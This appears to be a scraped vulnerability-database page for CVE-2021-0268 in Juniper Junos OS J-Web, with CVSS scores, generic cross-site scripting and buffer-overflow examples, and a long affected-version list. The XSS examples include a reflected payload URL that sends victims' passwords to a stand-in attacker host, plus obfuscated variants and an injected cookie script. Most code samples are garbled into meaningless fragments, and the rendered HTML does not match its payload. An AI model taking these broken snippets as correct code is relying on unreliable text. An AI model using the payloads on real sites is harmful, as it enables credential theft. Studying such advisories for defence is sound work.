CVE-2021-0268 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Severity

93%

Complexity

27%

Confidentiality

96%

An Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') weakness in J-web of Juniper Networks Junos OS leads to buffer overflows, segment faults, or other impacts, which allows an attacker to modify the integrity of the device and exfiltration information from the device without authentication. The weakness can be exploited to facilitate cross-site scripting (XSS), cookie manipulation (modifying session cookies, stealing cookies) and more. This weakness can also be exploited by directing a user to a seemingly legitimate link from the affected site. The attacker requires no special access or permissions to the device to carry out such attacks. This issue affects: Juniper Networks Junos OS: 18.1 versions prior to 18.1R3-S11; 18.2 versions prior to 18.2R3-S5; 18.3 versions prior to 18.3R2-S4, 18.3R3-S3; 18.4 versions prior to 18.4R2-S5, 18.4R3-S3; 19.1 versions prior to 19.1R2-S2, 19.1R3-S2; 19.2 versions prior to 19.2R1-S5, 19.2R2; 19.3 versions prior to 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2, 19.4R3; 20.1 versions prior to 20.1R1-S2, 20.1R2. This issue does not affect Juniper Networks Junos OS versions prior to 18.1R1.

CVSS 3.1 Base Score 9.3. CVSS Attack Vector: network. CVSS Attack Complexity: low. CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

CVSS 2.0 Base Score 5.8. CVSS Attack Vector: network. CVSS Attack Complexity: medium. CVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:N).

Demo Examples

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.


               
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as


               
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:


               
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:


               
</div></div>
</form>
<input type="submit" value="Login" />

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):


               
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:


               
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


               
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.


               
<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


               
Employee Name: <%= name %>
String name = rs.getString("name");

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.


               
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php


               
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php


               
echo '</div>';
exit;
//Print list of users to page
echo '<div class="userNames">'.$row['fullname'].'</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79

Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:


               
saveMessage($announceStr);//save HTML-formatted message to file; implementation details are irrelevant for this example.

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:


               
<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:


               
<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Demo Examples

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

CWE-120

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.


               
scanf ("%s", last_name);

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

CWE-120

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.


               
}
...

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

CWE-120

The excerpt below calls the gets() function in C, which is inherently unsafe.


               
}
...

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

CWE-120

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.


               
...
close(serversocket);
}
close(clientsocket);

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

Overview

Type

Juniper

First reported 3 years ago

2021-04-22 20:15:00

Last updated 3 years ago

2021-04-28 18:36:00

Affected Software

Juniper JUNOS 18.1

18.1

Juniper JUNOS 18.1R2

18.1

Juniper JUNOS R2-S1

18.1

Juniper JUNOS R2-S2

18.1

Juniper JUNOS 18.1 R2-S4

18.1

Juniper JUNOS 18.1 R3

18.1

Juniper JunOS 18.1 R3-s1

18.1

Juniper JUNOS 18.1 R3-S2

18.1

Juniper JUNOS 18.1 R3-S3

18.1

Juniper JUNOS 18.1R3-S4

18.1

Juniper JUNOS 18.1 R3-S6

18.1

Juniper JUNOS 18.1 R3-S7

18.1

Juniper JUNOS 18.1 R3-S8

18.1

Juniper JUNOS 18.1 R3-S9

18.1

Juniper JUNOS 18.2

18.2

Juniper JunOS 18.2 R1

18.2

Juniper JunOS 18.2 R1-S3

18.2

Juniper JUNOS 18.2 R1-S5

18.2

Juniper JUNOS 18.2 R2-S1

18.2

Juniper JUNOS 18.2R2-S2

18.2

Juniper JUNOS 18.2R2-S3

18.2

Juniper JUNOS18.2 R2-S4

18.2

Juniper JUNOS 18.2 R2-S5

18.2

Juniper JUNOS 18.2 R2-S6

18.2

Juniper JUNOS 18.2R3

18.2

Juniper JUNOS 18.2 R3-S1

18.2

Juniper JUNOS 18.2 R3-S2

18.2

Juniper JUNOS 18.2 R3-S3

18.2

Juniper JUNOS 18.3

18.3

Juniper JUNOS 18.3 R1

18.3

Juniper JUNOS 18.3 R1-S1

18.3

Juniper JUNOS 18.3 R1-S2

18.3

Juniper JUNOS 18.3R1-S3

18.3

Juniper JUNOS 18.3 R1-S5

18.3

Juniper JUNOS 18.3 R1-S6

18.3

Juniper JUNOS 18.3 R2

18.3

Juniper JUNOS 18.3 R2-S1

18.3

Juniper JUNOS 18.3 R2-S2

18.3

Juniper JUNOS 18.3 R2-S3

18.3

Juniper JUNOS 18.3 R3

18.3

Juniper JUNOS 18.3 R3-S1

18.3

Juniper JUNOS 18.4

18.4

Juniper JunOS 18.4 R1

18.4

Juniper Junos OS 18.4 R1-S1

18.4

Juniper JUNOS 18.4R1-S2

18.4

Juniper JUNOS 18.4 R1-S5

18.4

Juniper JUNOS 18.4 R1-S6

18.4

Juniper JUNOS 18.4R2

18.4

Juniper JUNOS 18.4 R2-S1

18.4

Juniper JUNOS 18.4 R2-S2

18.4

Juniper JUNOS 18.4 R2-S3

18.4

Juniper JUNOS 18.4 R3

18.4

Juniper Junos OS 19.1

19.1

Juniper Junos OS 19.1 R1

19.1

Juniper Junos OS 19.1 R1-s1

19.1

Juniper JUNOS 19.1 R1-S2

19.1

Juniper JUNOS 19.1 R1-S3

19.1

Juniper JUNOS 19.1 R1-S4

19.1

Juniper Junos OS 19.1 R2

19.1

Juniper Junos OS 19.2

19.2

Juniper Junos OS 19.2 R1

19.2

Juniper JUNOS 19.2 R1-S1

19.2

Juniper JUNOS 19.2 R1-S2

19.2

Juniper JUNOS 19.2 R1-S3

19.2

Juniper JUNOS 19.3

19.3

Juniper JUNOS 19.3 R1

19.3

Juniper JUNOS 19.3 R1-S1

19.3

Juniper JUNOS 19.3 R2

19.3

Juniper JUNOS 19.3 R2-S1

19.3

Juniper JUNOS 19.3 R2-S2

19.3

Juniper JUNOS 19.4 R1

19.4

Juniper JUNOS 19.4 R1-S1

19.4

Juniper JUNOS 20.1 R1

20.1

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